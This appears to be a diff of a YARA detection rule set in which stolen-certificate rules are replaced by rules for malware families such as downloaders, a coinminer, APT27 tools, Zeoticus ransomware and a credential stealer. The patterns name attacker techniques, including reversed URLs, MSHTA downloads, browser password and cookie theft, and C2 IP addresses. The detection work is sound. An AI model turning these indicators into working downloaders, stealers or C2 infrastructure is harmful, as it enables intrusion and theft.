-		logic_hash = "dc6b65757ceb3818101c8694680d1f44af3726876bef30843cfc2cb51ec6ea02"
+		logic_hash = "9336507fa4bb9d3a6325d5e9caafc8c4e816a0166fded7d4e53e09a87628bc89"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "88d563dccb2ffc9c5f6d6a3721ad17203768735a"
-		importance = 20
+
+	strings:
+		$h1 = "//:ptth" ascii wide nocase
+		$h2 = "//:sptth" ascii wide nocase
+		$s1 = "DownloadString" fullword ascii wide
+		$s2 = "StrReverse" fullword ascii wide
+		$s3 = "FromBase64String" fullword ascii wide
+		$s4 = "WebClient" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TAFFIAS" and pe.signatures[i].serial=="00")
+		uint16(0)==0x5a4d and (1 of ($h*) and all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_9F2492304Fc9C93844Dea7E5D6F0Ec77 : FILE
+rule DITEKSHEN_MALWARE_Win_Coinminingbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects coinmining bot"
 		author = "ditekSHen"
-		id = "73acca59-8362-5d34-b28a-71d141d3013a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "df15bfbd-f531-5eaa-b160-ad8a1fbe992f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3163-L3174"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5330-L5343"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9c76d5756cc79e96d194addc0e2c2c11fa4341ffa9df8f171f35df76cb9c56c0"
+		logic_hash = "a307a6c9184e8f4068cfa89a8432ae017c8aab10b706ba065051f8749860c15c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "33015f23712f36e3ec310cfd1b16649abb645a98"
-		importance = 20
+
+	strings:
+		$s1 = "FullScreenDetect" fullword ascii
+		$s2 = "GetChildProcesses" fullword ascii
+		$s3 = "HideBotPath" fullword ascii
+		$s4 = "Inject" fullword ascii
+		$s5 = "DownloadFile" fullword ascii
+		$s6 = "/Data/GetUpdateInfo" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bbddebeea" and pe.signatures[i].serial=="9f:24:92:30:4f:c9:c9:38:44:de:a7:e5:d6:f0:ec:77")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Dca9012634E8B609884Fe9284D30Eff5 : FILE
+rule DITEKSHEN_MALWARE_Win_Fyanti : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Hunt for FYAnti third-stage loader DLLs"
 		author = "ditekSHen"
-		id = "f22ef616-c7f1-5036-b303-ef8ae038ec4f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7a1f913c-d83f-50e9-943c-246c4c71c654"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3176-L3189"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5345-L5351"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b5d663228a27d5dae46f9f03bd04833b129fc453852cb9cb9fe43e405cdcecca"
+		logic_hash = "baaeef0b1452d7ea41ffaaff592cac2c5e16f921dbbfb3a300a63e69f134e9d0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "60971c18c7efb4a294f1d8ee802ff3d581c77834"
-		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bebaeefaeba" and (pe.signatures[i].serial=="dc:a9:01:26:34:e8:b6:09:88:4f:e9:28:4d:30:ef:f5" or pe.signatures[i].serial=="00:dc:a9:01:26:34:e8:b6:09:88:4f:e9:28:4d:30:ef:f5"))
+		uint16(0)==0x5a4d and pe.is_dll() and pe.exports("FuckYouAnti")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_781Ec65C3E38392D4C2F9E7F55F5C424 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent10 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known downloader agent"
 		author = "ditekSHen"
-		id = "d056fb18-e641-50bb-af86-ea124203f16c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b5807adf-9d15-5e08-97fb-a529acb1c1eb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3191-L3202"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5353-L5364"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "00b01a874e29fd2e25200f5e50c7121c3cc4bca614c31dd149d6197088292b35"
+		logic_hash = "74647b39331727000608bc89b30189d802e62d59876659d4477deb4da2fcfe13"
 		score = 75
-		quality = 75
+		quality = 67
 		tags = "FILE"
-		thumbprint = "5d20e8f899c7e48a0269c2b504607632ba833e40"
-		importance = 20
+
+	strings:
+		$s1 = "powershell.exe" ascii wide nocase
+		$s2 = ".DownloadFile(" ascii wide nocase
+		$s3 = "_UseShellExecute" ascii wide nocase
+		$s4 = "_CreateNoWindow" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Facacafbfddbdbfad" and pe.signatures[i].serial=="78:1e:c6:5c:3e:38:39:2d:4c:2f:9e:7f:55:f5:c4:24")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Bd1E93D5787A737Eef930C70986D2A69 : FILE
+rule DITEKSHEN_MALWARE_Win_Pureloader : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Pure loader / injector"
 		author = "ditekSHen"
-		id = "3b5ec355-9d68-5285-bda0-ddd379ad1cf8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ad44a12a-4ac7-5cc7-92ab-13c23514de69"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3204-L3215"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5366-L5382"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0332d05f0f53ad22516fd41cb10238ad0b92ef49011e9e71a82fa2da1de5e953"
+		logic_hash = "1f0bd20e769ea79d28d6e60ca06aa8aa2b3436426cfe0cd4f2023a08236875cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "921e5d7f9f05272b566533393d7194ea9227e582"
-		importance = 20
+
+	strings:
+		$s1 = "InvokeMember" fullword wide
+		$s2 = "ConcatProducer" fullword wide
+		$s3 = ".Classes.Resolver" wide
+		$s4 = "get_DLL" fullword ascii
+		$s5 = "BufferedStream" fullword ascii
+		$s6 = "GZipStream" fullword ascii
+		$s7 = "MemoryStream" fullword ascii
+		$s8 = "Decompress" fullword ascii
+		$s9 = "lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.R" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cdefedddbdedbcbfffbeadb" and pe.signatures[i].serial=="bd:1e:93:d5:78:7a:73:7e:ef:93:0c:70:98:6d:2a:69")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_B0009Bb062F52Eb6001Ba79606De243D : FILE
+rule DITEKSHEN_MALWARE_Win_VBS_Dlagent01
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects VBS MSHTA downloader"
 		author = "ditekSHen"
-		id = "41293f0b-604a-5993-8b05-9ca639828eec"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "447ea323-ecab-5f6b-b13e-0690254c754e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3217-L3228"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5384-L5395"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "111a08d62f483daf23220e7044cc291b6ea6922746d48934f72a892b7dfd762b"
+		logic_hash = "0e47839a55773764aca0aebcf1078c06c729b86d1e2f18d7d64e3bb11e87f3eb"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "c89f06937d24b7f13be5edba5e0e2f4e05bc9b13"
-		importance = 20
+		tags = ""
+
+	strings:
+		$s1 = "llehS.tpircsW" ascii
+		$s2 = ".Run" ascii
+		$s3 = "mshta http" ascii nocase
+		$s4 = "StrReverse" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fbfdddcfabc" and pe.signatures[i].serial=="b0:00:9b:b0:62:f5:2e:b6:00:1b:a7:96:06:de:24:3d")
+		all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_294E7A2Ccfc28Ed02843Ecff25F2Ac98 : FILE
+rule DITEKSHEN_MALWARE_Win_Ranumbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects RanumBot / Windigo / GoStealer"
 		author = "ditekSHen"
-		id = "ae3c0758-7863-54eb-a94f-3c86d5d34d21"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "26a0832e-8a39-5a0e-bd39-710744212c16"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3230-L3241"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5397-L5430"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "75c3093978875c7e523525a3b64bf985139359d9696fdb9dbd7db3e915043194"
+		logic_hash = "a9c32445e62d072e4184d25497696ef6225edb176dc7a9743a54194d4ddb4b0c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "a57a2de9b04a80e9290df865c0abd3b467318144"
-		importance = 20
+
+	strings:
+		$f1 = "main.addSchedulerTaskSSH" fullword ascii
+		$f2 = "main.attackRouter" fullword ascii
+		$f3 = "main.decryptPassword" fullword ascii
+		$f4 = "main.handleScanRequest" fullword ascii
+		$f5 = "main.scanNetwork" fullword ascii
+		$f6 = "main.extractCredentials" fullword ascii
+		$s1 = "H_T= H_a= H_g= MB,  W_a= and  h_a= h_g= h_t= max= ptr  siz= tab= top= u_a= u_g=%s/16%s:%d%s:22+0330+0430+0530+0545+0630+0845+10" ascii
+		$s2 = "<== as  at  fp= is  lr: of  on  pc= sp: sp=) = ) m=+Inf, n -Inf00%x112212343125: p=ABRTACDTACSTAEDTAESTAKDTAKSTALRMAWSTAhomAtoiCESTChamDashEESTGOGCJulyJuneKILLLEAFLisuMiaoModiNZDTNZSTNewaPIPEQUITSASTSEGVTERMThai" ascii
+		$s3 = "W*struct { P *big.Int; Q *big.Int; G *big.Int; Y *big.Int; Rest []uint8 \"ssh:\\\"rest\\\"\" }" ascii
+		$s4 = "policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write" ascii
+		$s5 = "/Users/alexander/go/src/mikrotik/winbox.go" ascii
+		$xf1 = "main.readConfig" fullword ascii
+		$xf2 = "main.ensureRunningAsUser" fullword ascii
+		$xf3 = "main.configRegPath" fullword ascii
+		$xf4 = "main.oldConfigRegPath" fullword ascii
+		$uf1 = "main.locateChrome" fullword ascii
+		$uf2 = "main.decryptAndUploadProfile" fullword ascii
+		$uf3 = "main.decryptCookies" fullword ascii
+		$uf4 = "main.extractPasswords" fullword ascii
+		$uf5 = "main.getFirefoxProfile" fullword ascii
+		$uf6 = "main.postBrowsersData" fullword ascii
+		$uf7 = "main.uploadFirefoxProfile" fullword ascii
+		$uf8 = "main.zipFirefoxProfile" fullword ascii
+		$uf9 = /main\.detect(Browsers|Chrome|Coccoc|Edge|Firefox|InternetExplorer|Opera|Yandex)/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eadbaadbdcecafdfafbe" and pe.signatures[i].serial=="29:4e:7a:2c:cf:c2:8e:d0:28:43:ec:ff:25:f2:ac:98")
+		uint16(0)==0x5a4d and (5 of ($f*) or 4 of ($s*) or (2 of ($f*) and 2 of ($s*)) or ( all of ($xf*) and 1 of ($uf*)) or 6 of ($uf*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_A61B5590C2D8Dc70A31F8Ea78Cda4353 : FILE
+rule DITEKSHEN_MALWARE_Win_Dllhijacker01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Hunt for VSNTAR21 / DllHijacker01 IronTiger / LuckyMouse / APT27 malware"
 		author = "ditekSHen"
-		id = "0a22b3a5-cc61-5aec-9fc7-bbd03cd4ab03"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0a858058-310a-5b1c-a6fe-abdec7b25abe"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3243-L3254"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5432-L5448"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7d57f5cb2691d8dfb5f5ef63f7bfb4290f0bd8d990c61fe0655e35c1b3f554f0"
+		logic_hash = "48535c0bb5342e2f91ac9d015c761d8d543b122dd3cc08b7029631fcf3037bfb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d1f77736e8594e026f67950ca2bf422bb12abc3a"
-		importance = 20
+
+	strings:
+		$s1 = "libvlc_add_intf" fullword ascii
+		$s2 = "libvlc_dllonexit" fullword ascii
+		$s3 = "libvlc_getmainargs" fullword ascii
+		$s4 = "libvlc_initenv" fullword ascii
+		$s5 = "libvlc_set_app_id" fullword ascii
+		$s6 = "libvlc_set_app_type" fullword ascii
+		$s7 = "libvlc_set_user_agent" fullword ascii
+		$s8 = "libvlc_wait" fullword ascii
+		$s9 = "dll.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bdddcfaebffbfdcabaffe" and pe.signatures[i].serial=="a6:1b:55:90:c2:d8:dc:70:a3:1f:8e:a7:8c:da:43:53")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_21C9A6Daff942F2Db6A0614D : FILE
+rule DITEKSHEN_MALWARE_Win_Hyperbro02 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects HyperBro IronTiger / LuckyMouse / APT27 malware"
 		author = "ditekSHen"
-		id = "e09476f7-d48d-58e5-aeca-fffacf569243"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1880afd7-ca06-5b43-af8f-e791ded0d7d8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3256-L3267"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5450-L5474"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c466a829d8141ba40187309559f62af73ea47e325eb95ef4c634bac60167788b"
+		logic_hash = "ca4ee116516549fc42f7e32b3c24d631b7f2c638efbde5c07227358e78fd6f35"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7dd9acb2ef0402883c65901ebbafd06e5293d391"
-		importance = 20
+
+	strings:
+		$s1 = "\\cmd.exe /A" fullword wide
+		$s2 = "C:\\windows\\explorer.exe" fullword wide
+		$s3 = "\\\\.\\pipe\\testpipe" fullword wide
+		$s4 = "Elevation:Administrator!new:{" wide
+		$s5 = "log.log" fullword wide
+		$s6 = "%s\\%d.exe" fullword wide
+		$s7 = ".?AVTPipeProtocol@@" fullword ascii
+		$s8 = ".?AVTCaptureMgr@@" fullword ascii
+		$s9 = "system-%d" fullword wide
+		$s10 = "[test] %02d:%02d:%02d:%03d %s" fullword wide
+		$s11 = "\\..\\data.dat" fullword wide
+		$s12 = "\\..\\config.ini" fullword wide
+		$s13 = { 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 20 00 2d 00 77 00 6f 00 72 00 6b 00 65 00 72 00 }
+		$s14 = { 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 20 00 2d 00 64 00 61 00 65 00 6d 00 6f 00 6e 00 }
+		$cnc1 = "https://%s:%d/ajax" fullword wide
+		$cnc2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36" fullword wide
+		$cnc3 = "139.180.208.225" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ledger SAS" and pe.signatures[i].serial=="21:c9:a6:da:ff:94:2f:2d:b6:a0:61:4d")
+		uint16(0)==0x5a4d and (7 of ($s*) or (2 of ($cnc*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1F55Ae3Fca38827Cde6Cc7Ca1C0D2731 : FILE
+rule DITEKSHEN_MALWARE_Win_Dllhijacker02 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ServiceCrt / DllHijacker03 IronTiger / LuckyMouse / APT27 malware"
 		author = "ditekSHen"
-		id = "8a32fa5d-671e-5012-9de1-6afc21751b94"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "de5eee06-570a-5ec3-9e1b-13de4c4f260f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3269-L3280"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5512-L5527"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1aa7c6c5430f196d1031acabfe141c30044c23c4119619752c50f4665966606e"
+		logic_hash = "d4eb236256c413d4d3223cc897783f5631c7798c0f3280e72d8c8504438fcaf9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a279fa4186ef598c5498ba5c0037c7bd4bd57272"
-		importance = 20
+
+	strings:
+		$s1 = "ServiceCrtMain" fullword ascii
+		$s2 = "mpsvc.dll" fullword ascii
+		$o1 = { 84 db 0f 85 4c ff ff ff e8 14 06 00 00 8b f0 83 }
+		$o2 = { f7 c1 00 ff ff ff 75 c5 eb 13 0f ba 25 10 20 01 }
+		$o3 = { 8d 04 b1 8b d9 89 45 fc 8d 34 b9 a1 18 20 01 10 }
+		$o4 = { b0 01 c3 68 b8 2c 01 10 e8 83 ff ff ff c7 04 24 }
+		$o5 = { eb 34 66 0f 12 0d 00 fe 00 10 f2 0f 59 c1 ba cc }
+		$o6 = { 73 c7 dc 0d 4c ff 00 10 eb bf dd 05 34 ff 00 10 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fcceaeafbbdccccddfbbb" and pe.signatures[i].serial=="1f:55:ae:3f:ca:38:82:7c:de:6c:c7:ca:1c:0d:27:31")
+		uint16(0)==0x5a4d and all of ($s*) and 5 of ($o*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_008D1Bae9F7Aef1A2Bcc0D392F3Edf3A36 : FILE
+rule DITEKSHEN_MALWARE_Win_Zeoticus : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Zeoticus ransomware"
 		author = "ditekSHen"
-		id = "8d1e7615-f462-56eb-9198-30b868572cf1"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6d1096dd-d075-54eb-ade9-48e2f945145d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3282-L3293"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5529-L5549"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6b15f97a51f25b1292cc3fd80889ea1edb01814d1951ef1d3b4cac5e83c7fbca"
+		logic_hash = "588c140c141e82dae56758550549dfb96410db50521ac546477e1adc5575b4a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5927654acf9c66912ff7b41dab516233d98c9d72"
-		importance = 20
+
+	strings:
+		$s1 = "Dear %s" fullword wide
+		$s2 = "\\??\\UNC\\%s\\%s\\" wide
+		$s3 = "\\\\%ws\\admin$\\%ws" wide
+		$s4 = "%s /node:\"%ws\" /user:\"%ws\" /password:" wide
+		$s5 = "process call create" wide
+		$s6 = ">----===Zeoticus" ascii
+		$s7 = "ZEOTICUSV2" ascii
+		$s8 = "GetExtendedTcpTable" fullword ascii
+		$s9 = "SHAMROckSWTF" ascii
+		$s10 = "NTDLL.RtlAllocateHeap" fullword ascii
+		$s11 = ".pandora" fullword wide
+		$s12 = { 70 00 20 00 72 00 20 00 69 00 20 00 76 00 20 00 65 00 20 00 74 }
+		$pdb = "_cryptor\\shell_gen\\Release\\" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Beaffbebfeebbefbeeb" and pe.signatures[i].serial=="00:8d:1b:ae:9f:7a:ef:1a:2b:cc:0d:39:2f:3e:df:3a:36")
+		uint16(0)==0x5a4d and (6 of ($s*) or ($pdb))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_239Ba103C2943D2Dff5E3211D6800D09 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent11 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects downloader agent"
 		author = "ditekSHen"
-		id = "1444a44e-2f45-547f-a5fc-0941edd506bc"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c8bf9b1a-4ec1-5291-a334-82c79980ef53"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3295-L3306"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5551-L5564"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b155ba969334945013af40fbf43b8318a221f6212c4a29e0ee98bc02bb9acafb"
+		logic_hash = "61df4855766050237c0b67bf70684020beb5d88f5928fa2814077e505be938a6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d8ea0533af5c180ce1f4d6bc377b736208b3efbb"
-		importance = 20
+
+	strings:
+		$pdb = "\\loader2\\obj\\Debug\\loader2.pdb" ascii
+		$s1 = "DownloadFile" fullword ascii
+		$s2 = "ZipFile" fullword ascii
+		$s3 = "WebClient" fullword ascii
+		$s4 = "ExtractToDirectory" fullword ascii
+		$s5 = "System Clear" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bcafaecbecacbca" and pe.signatures[i].serial=="23:9b:a1:03:c2:94:3d:2d:ff:5e:32:11:d6:80:0d:09")
+		uint16(0)==0x5a4d and ( all of ($s*) or (($pdb) and 4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_205B80A74A5Dddedea6B84A1E1C44010 : FILE
+rule DITEKSHEN_MALWARE_Win_Softcnapp : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects SoftCNApp"
 		author = "ditekSHen"
-		id = "43e34fe4-e580-572e-a14e-5ee58b3bf594"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "473442e2-d411-5e2b-948e-c7ce034a5810"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3308-L3319"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5566-L5583"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1af8527193acdbcb3ba0239879c3b23c6ba4e68d920ae4d5ce503d44e32991f7"
+		logic_hash = "2d7f4320282218842fa2e82906bcaf691610ad1a6ea257a2a9fc9e062229a2e8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1a743595dfaa29cd215ec82a6cd29bb434b709cf"
-		importance = 20
+
+	strings:
+		$s1 = "\\\\.\\PIPE\\SOC%d" fullword ascii
+		$s2 = "Mozilla/5.0 (Windows NT 6.1)" fullword ascii
+		$s3 = "Param: sl=%d; sl=%d; sl=%d; sl=%d; sl=%d;" fullword ascii
+		$s4 = ".?AVCHPPlugin@@" fullword ascii
+		$s5 = ".?AVCHPCmd@@" fullword ascii
+		$s6 = ".?AVCHPExplorer@@" fullword ascii
+		$s7 = "%s\\svchost.exe -O" fullword wide
+		$s8 = "\"%s\\%s\" -P" fullword ascii
+		$n1 = "45.63.58.34" fullword ascii
+		$n2 = "127.0.0.1" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Befadbffde" and pe.signatures[i].serial=="20:5b:80:a7:4a:5d:dd:ed:ea:6b:84:a1:e1:c4:40:10")
+		uint16(0)==0x5a4d and (4 of ($s*) or ( all of ($n*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6C8D0Cf4D1593Ee8Dc8D34Be71E90251 : FILE
+rule DITEKSHEN_MALWARE_Win_Covenantgruntstager : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Covenant Grunt Stager"
 		author = "ditekSHen"
-		id = "fe5cbea2-1704-550c-bd2e-82defba20f24"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "61495541-ed9c-5227-aa50-cbaeacfb20a2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3321-L3332"
